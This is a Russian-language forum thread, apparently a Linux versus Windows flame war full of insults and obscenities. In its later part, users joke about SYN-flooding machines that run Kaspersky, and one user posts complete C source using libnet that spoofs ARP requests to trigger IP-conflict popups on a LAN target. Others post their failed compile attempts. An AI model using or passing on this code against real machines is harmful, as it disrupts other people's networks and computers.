MOP3E написал:
Почистил тему. Если шо не то зарубил, звыняйте: лес рубят - щепки летят.

да мы тут гадали, кто есть венди - образцовый линухсоид али вендузятник-трололо

wr224 написал:
ты мегасупергуру компьютерных технологий и прочего и прочего, этого не знал?

Ну где уж мне до виндейских гуру.

ikkunan salvataja написал:
Ну где уж мне до виндейских гуру.

Кстати ты мне вчера доказательства своего п*здежа на счет моей причастности к исправлению скрипта сайта так и не предоставил, так что не п*зди тут, а давай ищи

wr224 написал:
на счет моей причастности к исправлению скрипта сайта

А у тебя была причастность? Насколько я помню там один Linfan причастен был, а крутые виндовс спецы как их о помощи попросили так сразу резко куда то попрятались.

ikkunan salvataja написал:
А у тебя была причастность? Насколько я помню там один Linfan причастен был, а крутые виндовс спецы как их о помощи попросили так сразу резко куда то попрятались.

О том и речь икуна, что виндовс спецы именно спецы в своем деле, те не знаешь брода, не суйся в воду

ikkunan salvataja написал:
а крутые виндовс спецы как их о помощи попросили так сразу резко куда то попрятались.

Да, зато крутые линукс-Иксперты берутся ломать все что попадется под руки, даже если это и так открыто и бесплатно и совершенно не имет отношение к теме.

pavel2403 написал:
Да, зато крутые линукс-Иксперты берутся ломать все что попадется под руки, даже если это и так открыто и бесплатно и совершенно не имет отношение к теме.

Так на то они и иксперты, цепные псы штульмана

wr224 написал:
что виндовс спецы именно спецы в своем деле,

Ага, почитай хотя бы рассуждения Нервопаразитолога о методах записи информации на магнитных дисках, вот уж где спец, непробиваемый.

ikkunan salvataja написал:
Ага, почитай хотя бы рассуждения Нервопаразитолога о методах записи информации на магнитных дисках, вот уж где спец, непробиваемый.

Акуна, да ладно тебе, вы там оба х.йню молотили, но ему-то простительно, человек-гуманитарий, а вот тебе нет.

pavel2403 написал:
даже если это и так открыто и бесплатно

Открытого я там не видел, а вот проверка серийника была видна сразу. Не забывай, виндов с 1С у меня нету и поэтому я там ничего не запускал.
И да, Пашик, ключница что ли защиту в модуле писала? Или тебя наняли?

ikkunan salvataja написал:
И да, Пашик, ключница что ли защиту в модуле писала? Или тебя наняли?

В каком??? Ты их уже все переломал???

pavel2403 написал:
вы там оба х.йню молотили

Так, давай какую я там х.йню молотил? Что нули и единицы кодируются переходами, а не уровнями? Что э/м головка реагирует не на магнитное поле как таковое, а на его изменение? Или чего там ещё?

pavel2403 написал:
но ему-то простительно, человек-гуманитарий,

А откуда ты знаешь что я не гуманитарий? Кем я работаю я здесь ни разу не говорил.

pavel2403 написал:
В каком???

В ocx, я в другие и не лазал, только этот краем глаза глянул.

ikkunan salvataja написал:
Так, давай какую я там х.йню молотил? Что нули и единицы кодируются переходами, а не уровнями? Что э/м головка реагирует не на магнитное поле как таковое, а на его изменение? Или чего там ещё?

Слы... не начинай, мне просто лениво. У тебя чо баттх№рт разыгрался???

ikkunan salvataja написал:
А откуда ты знаешь что я не гуманитарий?

Не знаю. Но если ты тоже гуманитарий то и тебе простительно.

ikkunan salvataja написал:
Кем я работаю я здесь ни разу не говорил.

Ага, такой сферический секретный линух-Иксперт во всем на свете, в засаде.

ikkunan salvataja написал:
В ocx, я в другие и не лазал, только этот краем глаза глянул.

Не, не я, так что успокойся.

pavel2403 написал:
Прикинь, как ты догадался!!! Ты знал, знал!!! Я действительно после армии закончил институт по кафедре Информационные технологии. Специальность: Безопасность информации, защита сетей и корпоративных баз данных". biggrin Скан диплома не проси, все равно не получишь.tongue

Коллега) Где специальности этой обучался?) Конечно хотелось бы скан диплома посмотреть, т.к. такой специальности и в РФ замечено не было:
ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ
090000 ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ
090100 Информационная безопасность
090101 Криптография 65 Математик
090102 Компьютерная безопасность 65 Математик
090103 Организация и технология защиты информации 65 Специалист по защите информации
090104 Комплексная защита объектов информатизации 65 Специалист по защите информации
090105 Комплексное обеспечение информационной безопасности автоматизированных систем 65 Специалист по защите информации
090106 Информационная безопасность телекоммуникационных систем 65 Специалист по защите информации
090107 Противодействие техническим разведкам 65 Специалист по защите информации
http://www.edu.ru/db/mo/Data/d_05/prm4-1.htm
И как же тебя там учили, что несешь ахинею по типу этой

pavel2403 написал:
В данном случае сравинвать понятие вирус и СоцИнженерия это все равно что путать папин х№р и мамины ботинки. Обьясняю на пальцах. Вирус в самомо простейшем понятии это программа способная саморазмножаться, а Социнженерия- это альтернативный способ переноса вирусов, который освобождает вирмейкера от необходимости реализовать механизм распространения в самой вредоносной программе, понятно??? Ну и есно эффет от применения соц инженерии по распространению вредоносных программ (как виндно из темы топика)просто убойный, и никакому вырусу такое и не снилось.

pavel2403 написал:
Ну а теперь ответь на такой простой вопрос: какая нах разница есть ли вирусы под линукс если достигается эффект даже больший, чем от вирусов под виндой???

СЗОТ))

pavel2403 написал:
Не, не я,

Ну значит ключнице передай что так защиту не делают, если там ещё кучи процедур проверки не стоит, хотя я думаю их нету.

greatAnonymous, Ты вобще откуда взялся клоун??? Очередной баттх№ртирующий линух-Иксперт??? Чо там ты хочешь, паспорт говоришь, тебе показать???

ikkunan salvataja написал:
Ну значит ключнице передай что так защиту не делают, если там ещё кучи процедур проверки не стоит, хотя я думаю их нету.

Сам и передай. Я тебе чо телеграф?

pavel2403 написал:
Сам и передай.

Ну во первых я с этой ключницей не знаком, а во вторых вот передам, а меня возьмут и в суд потащат, за то, что я проприетарное поделие дизассемблировал и гнусно смеялся над реализацией проверки валидности серийного номера.

ikkunan salvataja написал:
Ну во первых я с этой ключницей не знаком, а во вторых вот передам, а меня возьмут и в суд потащат, за то, что я проприетарное поделие дизассемблировал и гнусно смеялся над реализацией проверки валидности серийного номера.

Ну вот скажи всерьез,кому ты нужен?Миллионами ворочаешь,что ли?

pavel2403 написал:
greatAnonymous, Ты вообще откуда взялся, клоун??? Очередной баттх№ртирующий линух-Иксперт??? Чего там ты хочешь, паспорт, говоришь, тебе показать???

И аттестат о среднем образовании ;)
Культурно обращаться тебя видимо не учили, по-меньше хамства, уважаемый. Ты со всеми первыми встречными так разговариваешь?)

P.S. Я твой тайный поклонник, исключительно из-за твоих комментариев читаю СЛОР :D

Цитата:

P.S. Я твой тайный поклонник, исключительно из-за твоих комментариев читаю СЛОР :D

Linfan, толсто же

Mandriva-oid написал:
Linfan, толсто же smile

Linfan тут не причем.
Да уж, чего-то я начал с оффтопа и троллинга =( Простите уж меня..

greatAnonymous написал:
И аттестат о среднем образовании ;)
Культурно обращаться тебя видимо не учили, по-меньше хамства, уважаемый. Ты со всеми первыми встречными так разговариваешь?)

Классика!!! Когда луноходу сказать нечего он начинает считать ошибки в постах оппонента. Клоун, ты откуда взялся, с ЛОР(а) сбежал? Или тебя там снарядили сюда как самого крутого ИкспертапобИзапасности? Что бы ты как Бэтмен помогал забесплатно всем нищим, обездоленным убогим и слабоумным, свои собратьям? А о чем ты вобще думал, на что расчитывал? Зарегился 5 минут назад, пришел на чужой ресурс выдрал какой-то коммент низнамо откуда, с какми-то своими идиотскими междометиями вместо аргументированного возражения, и начинаешь тут у всех сканы документов требовать. И ты хочешь после этого, что бы к тебе обращались вежливо??? Так вот, я тебе скажу так: ИДИ НАКУЙ, КЛОУН!!!

pavel2403 написал:
Классика!!!

нет, это правда жизни паша) думаю, что многие поменяли баш орг в обед на слор только из-за твоих "умных", а главное тонких изречений

Linfan написал:
Еще раз - раскройте тему, как название System32 связано с словом "совместимость"?
В процитированном фрагменте ни слова не указано про то, что System32 - зарезервированно для совместимости.

уже раскрыл и как раз в процитированном фрагменте

Linfan написал:
Более того - путь к нему приложение получает при необходимости из WinAPI

читать не умеешь? специально же выделил жирным шрифтом:

Цитата:
When no path is specified

загрузчик ищет путь dll автоматически ТОЛЬКО ЕСЛИ ОН НЕ УКАЗАН ЯВНО!!!

для полного понимания вот тебе программный код, который будет искать dll в папке, которой не существует,
копипастишь его в delphi, компилируешь, и убеждаешься что никуя прога "автоматом" не найдёт и что ты... ну это тебе программа сообщит:

Цитата:
procedure TForm1.Button1Click(Sender: TObject);
var
HLib: THandle;
begin
HLib := LoadLibrary('C:\WINDOWS\system64\dxdiagn.dll');
if HLib = 0 then ShowMessage('ТЫ ТУПОЙ БАРАН');
FreeLibrary(HLib);
end;

shell32 написал:
вот тебе программный код,

Злой ты!!! Зачем ты издеваешься над "опенсурс- девелопером"? Он же тперь и за 2 жизни не соберет версию свой поделки для винды!!!

pavel2403 написал:
Он же тперь и за 2 жизни не соберет версию свой поделки для винды!!!

Пашик, а от тебя когда ждать нетленку круче uniconv, т.е. такую, которая и более новые кореловские форматы конвертить будет?
Ты там за 1000 баксов подрядился, ну это примерно средняя по Питеру за месяц, но с учётом того, что ты будешь этим заниматься в нерабочее время сроки удваиваем и даём ещё пару недель про запас. Т.е. к Новому Году ждём?

ikkunan salvataja написал:
Т.е. к Новому Году ждём?

Жди, родной, жди. Я думаю управлюсь, только штуку бачей сразу готовь, не забудь!!!

pavel2403 написал:
Я думаю управлюсь, только штуку бачей сразу готовь, не забудь!!!

Ну за штукой баксов это к Linfan'у, это, насколько я помню, ты с ним по поводу оплаты договаривался, а я просто посмотрю как тебе удастся кореловский формат реверснуть.

ikkunan salvataja написал:
а я просто посмотрю как тебе удастся кореловский формат реверснуть.

У тебя тоже глюки? Покажи мне то место, где я общал реверснуть кореловский формат, до нового года и за штуку баксов???

pavel2403 написал:
Покажи мне то место, где я общал реверснуть кореловский формат

Посложнее наваять грозился? Ну а сложность нужно сравнивать на однотипных заданиях, а то ведь набежит толпа виндейцев и будет кричать что "Hello, World" сваянное на VB это неимоверно круто и сложно. А здесь всё по честному, никто не будет спорить что это сложнее. Linfan конечно пожмотился, там работы не на тысячу баксов, а на тысячу евров, но ты сам на баксы подписался.

[quote=ikkunan salvataja]Ну а сложность нужно сравнивать на однотипных заданиях,

Цитата:

Кто тебе такую чушь сказал???
Вождение автомобиля и управление самолетом, что сложнее? И однотипны ли данные задачи?
[quote=ikkunan salvataja]
а то ведь набежит толпа виндейцев и будет кричать что "Hello, World" сваянное на VB это неимоверно круто и сложно.

Безусловно.
Акуна, не пытайся меня развести, у тебя это не получиться, потому что я умнее.

pavel2403 написал:
потому что я умнее.

Ну да, это знакомо, "ежели вы такие умные то чего же в столовую строем не ходите?".

И да, Пашик, что сложнее пилотирование или вождение это вопрос сп#рный, поскольку кто-то может сказать что пилотирование легче, т.к. избежать столкновения со встречным объектом можно уйдя не только вправо или влево, но так же вверх или вниз, поэтому более корректно сравнивать пилотирование Боинга 747 с пилотированием Цессны, а вождение легковушки с вождением фуры с прицепом.

ikkunan salvataja написал:
И да, Пашик, что сложнее пилотирование или вождение это вопрос сп#рный, поскольку кто-то может сказать что пилотирование легче, т.к. избежать столкновения со встречным объектом можно уйдя не только вправо или влево, но так же вверх или вниз, поэтому более корректно сравнивать пилотирование Боинга 747 с пилотированием Цессны, а вождение легковушки с вождением фуры с прицепом.

Пашок явно не осилит. Предложения, длина которых более пяти слов вызывают у Пашки ужаснейший беттх№рт, и его моск буквально плавится, выдавая наружу лишь очередное "A problem has been detected and pavel2403 has been shut down to prevent damage to his brains."

ikkunan salvataja написал:
И да, Пашик, что сложнее пилотирование или вождение это вопрос сп#рный

Вот и я о том же.
Дальше спорить будем?

ikkunan salvataja написал:
"ежели вы такие умные то чего же в столовую строем не ходите, и телевизор с собой не носите?"

/Fixed

Mazzy написал:
Предложения, длина которых более пяти слов вызывают у Пашки ужаснейший беттх№рт

Я пока наблюдаю то, что одно мое появление на СЛОР(е), вызывает у некоторых, особоодаренных лунох-Икспертов мучительный баттх№рт и словесный понос.

pavel2403 написал:
Вот и я о том же.
Дальше спорить будем?

Не, не будем, ты же сейчас сам согласился с тем, что сложность надо оценивать на схожих задачах. Значит к Новому Году ждём от тебя реверса следующего кореловского формата. Впрочем, я думаю, Linfan будет не против даже если вы всем местным вингвамом на эту задачу навалитесь, главное чтобы результат был.

Нет, Паш, твое появление лично у меня вызывает предвкушение отличного с№ча и лечения очередных попаболей, которые преследуют тебя время от времени
А особенно доставляет "клоун-линуход"

Ага, без него слор не будет слором)) А как легко ведется, с каким рвением, с какой яростью) Первый раз пишу тут, а мои 2 поста уже успели его вывести из себя :D
Паша, ты успел и грязи вылить, и обматерить, и нахамить на ровном месте. Да и с чего-то взял, что я "линух-иксперт" и мне "сказать нечего", когда я свою позицию еще никак тут не обозначил и ничего толком по делу не написал ;) Держи, себя в руках =)

Svart Testare написал:
В линуксе по сути и 64 бит-то нет — только для галочки.

это как? т.е. выполнение 64битного кода по вашему в линуксе невозможно? или что имеется ввиду?

А это Svart Testare, знакомтесь И если Паша-вполне нормальный человек (правда с ФГМ, но это ерунда, мы тут все таке, добро пожаловать на СЛОР ), то Сварт-наш Учитель, и впредь запомните две вещи:
1)Винда-вершина достижений ИТ.
2)Линукс-полное дерьмище.
После знакомства со Свартом Капитан Очевидность как бы намекает, что не всех война убила
Ну да это так. А теперь вернемся к теме, Господа
А что же Линукс-Линукс себе как Линукс. Часть 32 бита, часть-64. И еще лет 5-10 так будет.

Mazzy написал:
Часть 32 бита, часть-64. И еще лет 5-10 так будет.

Поэтому я не пользуюсь 64 битными системами.Никакими.Пока.

А вот у меня на ноуте, к примеру, 4 ГБ оперативки. Ставить 32 бита-и потеряю 800 метров=) Выбираю из двух зол меньшее.

greatAnonymous написал:
это как? т.е. выполнение 64битного кода по вашему в линуксе невозможно? или что имеется ввиду?

$ for elf in 32 64; do sudo file /usr/bin/*|grep -c ELF\ $elf\-bit; done
13
1307
У пациента просто либо мозг "только для галочки", либо он действительно судит о линуксах по кармановской блевотине и по тому, что увидел, когда его допустили в консоль сервера на ентерпрайзной красношапке.
С Luca мы уже обсудили вопросы "галочек" и "ничего не работает". Результатом стало внесение в правила нового пункта.

hodok78 написал:
Поэтому я не пользуюсь 64 битными системами.Никакими.Пока.

На данный момент причины для неиспользования 64-битных линуксов на x86_64 могут быть только следующие: нет 64-битного процессора.
Причин для неиспользования 64-бит виндузятины больше, но тоже не сильно много. Выходим из анабиоза, 64-бит, как и ps/2-клава и параллельные шины - это уже прошлое.

Mazzy написал:
А вот у меня на ноуте, к примеру, 4 ГБ оперативки. Ставить 32 бита-и потеряю 800 метров=) Выбираю из двух зол меньшее.

Есть ещё третье, ядро PAE.

Linups_Troolvalds написал:
Выходим из анабиоза, 64-бит

Чорт, забыл машину времени выключить. 32, конечно.

ikkunan salvataja написал:
Есть ещё третье, ядро PAE.

Спасибо, кэп=)) Это такой костыль, что даже вспоминать не хочется. Да и я не смогу собрать ядро с поддержкой pae=(

Mazzy написал:
Да и я не смогу собрать ядро с поддержкой pae

А зачем самому? Просто при установке нужное выбрать, ну или потом из репов параллельно установить.

Mazzy написал:
. Mazzy А вот у меня на ноуте, к примеру, 4 ГБ оперативки. Ставить 32 бита-и потеряю 800 метров=) Выбираю из двух зол меньшее.

PAE не слыхал что такое, товарищ-луноход? Не пердел бы в лужу уж так громко

Linups_Troolvalds написал:

Причин для неиспользования 64-бит виндузятины больше, но тоже не сильно много. Выходим из анабиоза, 64-бит, как и ps/2-клава и параллельные шины - это уже прошлое.

Ох уж эти линух-иксперты.. Отсутствие драйверов на периферию одна из главных причин, правда в линупсе они вообще часто отсутствуют как класс

Mazzy написал:
Спасибо, кэп=)) Это такой костыль, что даже вспоминать не хочется. Да и я не смогу собрать ядро с поддержкой pae=(

Линух-иксперт не может чего-то сделать в божественной системе??? Штульман изгонит тебя из своих стройных рядов, клоун, а бох-питух покарает тебя за это!

wr224 написал:
Отсутствие драйверов на периферию одна из главных причин, правда в линупсе они вообще часто отсутствуют как класс

Ну да, прямо как 64-битный код. И сайты типа linux-drivers или cateee.net/lkddb/ следует закрыть за дезинформацию, а их владельцев запереть пожизненно с виндус-7-стартер-едишн.

wr224 написал:
Линух-иксперт не может чего-то сделать в божественной системе??? crazy Штульман изгонит тебя из своих стройных рядов, клоун, а бох-питух покарает тебя за это!

...в принципе, этим все сказано..неужели товарища выря питух так жестко имеет в задницу, что его крики от попаболей аж сюда слышно? ТаварисчЬ, вы хотя бы почитали сначала про pae, а потом рассказывали бы. Экспирт, блин. И вообще, артист, не перди в лужи так часто. Право же, воняет.
Хотя о чем это я...Баллмер, наверное, заплатил тебе за твоё несчастное анальное отверстие. И имеет тебя по выходным, как Вудман особей женского пола

pavel2403 написал:
Злой ты!!! Зачем ты издеваешься над "опенсурс- девелопером"?

да нет, совсем не злой

Паш, ты ругаешься все более и более уныло. сходи на damn.ru, что ли, или кактус под хвостом смени.

Пардон, Павел. Mazzy еще унылее.

pavel2403 написал:
Жди, родной, жди. Я думаю управлюсь, только штуку бачей сразу готовь, не забудь!!!wink

Пашок, неужто ты всетки подписался на реверс???? Дафай-дафай! Пока я в Бразилии в ноябре буду шляться, подготовь первый этап - выложишь, посмотрим, заценим

Linfan, разве реверс-инжиниринг кореловского формата законен?

Mazzy написал:
...в принципе, этим все сказано..неужели товарища выря питух так жестко имеет в задницу, что его крики от попаболей аж сюда слышно?

Мази, клоун, ты че так палишься? В моем сообщении про боха-питуха подобных подробностей не было

Mazzy написал:
ТаварисчЬ, вы хотя бы почитали сначала про pae, а потом рассказывали бы.

Ты нипаверишь луноход, но мне пришлось когда-то давно вплотную заниматься этим вопросом, в режиме PAE для 32х разрядных систем не сильно меньше памяти доступно, чем скажем в х64, единственное существенное ограничение - размер памяти, выделяемого под процесс, не больше 2Гб, но для нормального пользователя пк это не ограничение. Конечно, некоторые альтернативномыслящие ставят на свой домашний компьютер ораклы и прочие жабы, но я именно говорю про нормальных людей, к коим ты не относишься, поэтому, для тебя да, это существенное ограничение

dimitrio написал:
Linfan, разве реверс-инжиниринг кореловского формата законен?

Законен, по-крайней мере в Европе и Канаде. Насчет США не знаю.

wr224 написал:
Ты нипаверишь луноход, но мне пришлось когда-то давно вплотную заниматься этим вопросом, в режиме PAE для 32х разрядных систем

wr224 , печальный опыт виртуалки?
-------
Ты не думай, что я подъёбываю.

Вообще, вопрос ко всем. Как вы считаете, какая виртуальная машина больше всего ближе к железу?

Rector написал:
wr224 , печальный опыт виртуалки?

Нет, виртуалка тут не причем. Нужно было увеличить количество памяти, понимаемое ос, к сожалению все тогда уперлось в 2 гига памяти на процесс, а жвм приложения кушала несколько больше

Понятно.
--
Таки это было виртуалка?

wr224 написал:
Нет, виртуалка тут не причем.

Сорри...

Rector написал:
Понятно.
--
Таки это было виртуалка?

Не помню уже, очень может быть

Rector написал:
Сорри...

Я точно сказать не могу, у меня был только терминальный доступ к той машине, но задача была несколько иная

Rector написал:
к сожалению все тогда уперлось в 2 гига памяти на процесс, а жвм приложения кушала несколько больше

Утечка памяти в "чёрную дыру". Заебись! пок-код не прошу. Вообще, любую систему можно так DOS'ить
-
-)

wr224 написал:
к сожалению все тогда уперлось в 2 гига памяти на процесс,

Почему в два, а не три?

Я тут недавно прикол делал над виндузнёй...
-----
Почти у всех стоит кашперовский. Так вот, если им сделать, небольшую син атаку, касперыч отрабатывает по полной, а именно - вешает машину наглухо, и при этом кричит - "syn атака syn атака". Процессор загружен на 100%, память сожрал. Машина стоит, мыша не ездит -)
------
Касперыч идиот, или умный чел?

Rector написал:
Касперыч идиот, или умный чел?

А что ему сделается? "На вас была совершена Ужасная Атака Хакиров, мы вас защитили". И виндюшки смиренно перезагрузятся.

Rector написал:
Я тут недавно прикол делал над виндузнёй...
-----

Вот поэтому я и не признаю комбайны типа KIS потому как их легко можно заставить биться в истерике, в то время как штатный фаер молча проглатывает все SYN и только пишет это дело в лог, если эта опция включена. Ректор, разрешаю вызвать на Дуэль Касперского где нибудь в центре забайкальской степи и проткни там его шпагой насквозь!!!

Rector написал:
Я тут недавно прикол делал над виндузнёй...

Лови.

<br />#include <stdio.h><br />#include <libnet.h><br />#include <arpa/inet.h><br />#include <unistd.h><br /><br />#define PKTS 200<br /><br />int main(int argc, char **argv)<br />{<br />	char eth_broadcast[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };<br />	char eth_src[] = { 0xc0, 0xff, 0xee, 0x00, 0xbe, 0xef };<br />	char ebuf[0xff];<br />	char *dev = NULL;<br />	u_char *mdma;<br />	int i;<br />	struct in_addr target;<br />	struct libnet_link_int *intf;<br /><br />	if(getuid())<br />	{<br />		printf("conflictd: run as root ashole!\n");<br />		return -1;<br />	}<br /><br />	if(argc != 3)<br />	{<br />		printf("Usage: %s <interface> <target ip>\n", argv[0]);<br />		printf("\tEx: %s ed0 10.0.0.42\n", argv[0]);<br />		return -1;<br />	}<br /><br />	dev = argv[1];<br />	inet_aton(argv[2], &target);<br />	if(target.s_addr == 0)<br />	{<br />		printf("Invalid ip. Specify as a.b.c.d\n");<br />		return -1;<br />	}<br /><br />	printf("Using interface %s\n", dev);<br />	intf = libnet_open_link_interface(dev, ebuf);<br />	if(!intf)<br />	{<br />		printf("libnet_open_link_interface(): %s\n", ebuf);<br />		return -1;<br />	}<br /><br />	if(libnet_init_packet(LIBNET_ETH_H+LIBNET_ARP_H, &mdma) < 0)<br />	{<br />		printf("libnet_init_packet(): out of memory.\n");<br />		return -1;<br />	}<br /><br />	printf("Each dot is 10 popups..\n");<br />	for(i = 0; i < PKTS; i++)<br />	{<br />		if(!(i % 10))<br />			printf(".");<br /><br />		libnet_build_ethernet(eth_broadcast, eth_src,<br />					ETHERTYPE_ARP, NULL, 0, mdma);<br /><br />		libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN,<br />				 4, ARPOP_REQUEST, <br />				 eth_src, (u_char *)&target.s_addr,<br />				 eth_broadcast, (u_char *)&target.s_addr, <br />				 NULL, 0, mdma + LIBNET_ETH_H);<br /><br />		if(libnet_write_link_layer(intf, dev, mdma, <br />			LIBNET_ETH_H+LIBNET_ARP_H) < 0)<br />		{<br />			printf("\nlibnet_write_link_layer(): "<br />				"Couldn't write packet\n");<br />			break;<br />		}<br /><br />	}<br /><br />	libnet_destroy_packet(&mdma);<br />	printf("\n");<br />	<br />	return 0;<br />}<br /><br />

Тоже хорошая шютка. Рекомендации лучших приколистов.

ikkunan salvataja написал:
Лови.

Какой эффект от этих приколов с ARP?

Чем компилировать?

gcc ikkuna.cpp<br />ikkuna.cpp:2:20: error: libnet.h: Нет такого файла или каталога<br />ikkuna.cpp: In function ‘int main(int, char**)’:<br />ikkuna.cpp:41: ошибка: нет декларации ‘libnet_open_link_interface’ в этой области видимости<br />ikkuna.cpp:48: ошибка: нет декларации ‘LIBNET_ETH_H’ в этой области видимости<br />ikkuna.cpp:48: ошибка: нет декларации ‘LIBNET_ARP_H’ в этой области видимости<br />ikkuna.cpp:48: ошибка: нет декларации ‘libnet_init_packet’ в этой области видимости<br />ikkuna.cpp:61: ошибка: нет декларации ‘ETHERTYPE_ARP’ в этой области видимости<br />ikkuna.cpp:61: ошибка: нет декларации ‘libnet_build_ethernet’ в этой области видимости<br />ikkuna.cpp:63: ошибка: нет декларации ‘ARPHRD_ETHER’ в этой области видимости<br />ikkuna.cpp:63: ошибка: нет декларации ‘ETHERTYPE_IP’ в этой области видимости<br />ikkuna.cpp:63: ошибка: нет декларации ‘ETHER_ADDR_LEN’ в этой области видимости<br />ikkuna.cpp:64: ошибка: нет декларации ‘ARPOP_REQUEST’ в этой области видимости<br />ikkuna.cpp:67: ошибка: нет декларации ‘LIBNET_ETH_H’ в этой области видимости<br />ikkuna.cpp:67: ошибка: нет декларации ‘libnet_build_arp’ в этой области видимости<br />ikkuna.cpp:70: ошибка: нет декларации ‘LIBNET_ARP_H’ в этой области видимости<br />ikkuna.cpp:70: ошибка: нет декларации ‘libnet_write_link_layer’ в этой области видимости<br />ikkuna.cpp:79: ошибка: нет декларации ‘libnet_destroy_packet’ в этой области видимости<br />[root_home@mandriva ~]$ <br />

---
Сам то пробовал? Есть бинарник?

Хм...

cc ikkuna.c<br />ikkuna.c:2:20: error: libnet.h: Нет такого файла или каталога<br />ikkuna.c: В функции ‘main’:<br />ikkuna.c:41: предупреждение: в присваивании целое преобразуется в указатель без приведения типа<br />ikkuna.c:48: ошибка: ‘LIBNET_ETH_H’ не описан (первое использование в этой функции)<br />ikkuna.c:48: ошибка: (Сообщение о неописанном идентификаторе выдается один раз<br />ikkuna.c:48: ошибка: для каждой функции, в которой он используется.)<br />ikkuna.c:48: ошибка: ‘LIBNET_ARP_H’ не описан (первое использование в этой функции)<br />ikkuna.c:61: ошибка: ‘ETHERTYPE_ARP’ не описан (первое использование в этой функции)<br />ikkuna.c:63: ошибка: ‘ARPHRD_ETHER’ не описан (первое использование в этой функции)<br />ikkuna.c:63: ошибка: ‘ETHERTYPE_IP’ не описан (первое использование в этой функции)<br />ikkuna.c:63: ошибка: ‘ETHER_ADDR_LEN’ не описан (первое использование в этой функции)<br />ikkuna.c:64: ошибка: ‘ARPOP_REQUEST’ не описан (первое использование в этой функции)<br />[root_home@mandriva ~]$ <br />

--

Нет у меня такого хидера libnet.h -((

Rector написал:
Какой эффект от этих приколов с ARP?

Атакуемая виндюксь начинает выкидывать кучу окошек с сообщением что IP уже занят.

Rector написал:
Сам то пробовал? Есть бинарник?

Очень давно, года 3-4 назад. Компилял тогда под слэкварью.

ikkunan salvataja написал:
Атакуемая виндюксь начинает выкидывать кучу окошек с сообщением что IP уже занят.

-)) Вот если в рендоме их менять, а не один 10.0.0.42, вот тогда было бы прикольней -)

ikkunan salvataja написал:
Компилял тогда под слэкварью.

Бинарник не сохранился? Если нет, тогда поделись libnet.h и arpa/inet.h -)

Rector написал:
Вот если в рендоме их менять, а не один 10.0.0.42, вот тогда было бы прикольней

А оно и меняется, другое дело что работает только в локалке, дальше первого роутера оно не уйдёт.

Rector написал:
Если нет, тогда поделись libnet.h и arpa/inet.h -)

Установить соответствующие devel пакеты для своего дистрибутива. В слаквари правда такое понятие отсутствовало, там пакеты крупнее.

ikkunan salvataja написал:
дальше первого роутера оно не уйдёт

Да это понятно.

ikkunan salvataja написал:
Установить соответствующие devel пакеты для своего дистрибутива

ок, принято.

ikkunan salvataja написал:
Установить соответствующие devel пакеты для своего дистрибутива.

Не поможет, если только не очень бородатую версию. libnet сильно изменилась с тех пор, надо править код ручками, иначе не соберется.

ikkunan salvataja, чета вендузятники резко попрятались Таки не доверяют "самой безопасной ОС" от MC

Linfan, вы опять грозитесь всех похакать? Помнится, в прошлый раз вы долго грозились, а ничего не случилось....

Говно эта ваша венда!

ikkunan salvataja, не компилится короче. Я в С не силен, так что хз. libnet мутная х№ета, насколько я понял.
В итоге...
--

gcc ikkuna.c<br />ikkuna.c: В функции ‘main’:<br />ikkuna.c:41: предупреждение: в присваивании целое преобразуется в указатель без приведения типа<br />ikkuna.c:61: предупреждение: в передаче аргумента 6 ‘libnet_build_ethernet’: несовместимый тип указателя<br />/usr/include/./libnet/libnet-functions.h:395: замечание: expected ‘struct libnet_t *’ but argument is of type ‘u_char *’<br />ikkuna.c:61: ошибка: слишком мало аргументов в вызове функции ‘libnet_build_ethernet’<br />ikkuna.c:67: предупреждение: в передаче аргумента 12 ‘libnet_build_arp’: несовместимый тип указателя<br />/usr/include/./libnet/libnet-functions.h:425: замечание: expected ‘struct libnet_t *’ but argument is of type ‘u_char *’<br />ikkuna.c:67: ошибка: слишком мало аргументов в вызове функции ‘libnet_build_arp’<br />

---
Хотя, по большому счету устроить юзеру смену IP по рендому можно проще, имхо.

Manve написал:
Linfan, вы опять грозитесь всех похакать? Помнится, в прошлый раз вы долго грозились, а ничего не случилось....

плз, пруф на ваши досужие домыслы ))))))))))))

//по-моему и ежу понятно, что это был вброс для оживления треда

Manve написал:
Linfan, вы опять грозитесь всех похакать? Помнится, в прошлый раз вы долго грозились, а ничего не случилось....

Да нах№р вас трогать. Завоняете ещё -)) Нет, вы скорее побежите к прову или к милиции, может кто-то из вас и в ФСБ.
----
Короче, нах№р вы не нужны никому. Вы сами "наступите на с...ки" со своей дырявой системой =))

Linfan написал:
это был вброс для оживления треда

Это точно.

создавая Linux создатели делают от души, для людей. А Microsoft для денег

LinuxЛучшеЧемWindows написал:
создавая Linux создатели делают от души, для людей. А Microsoft для денег

Харе Линус, харе Столлман!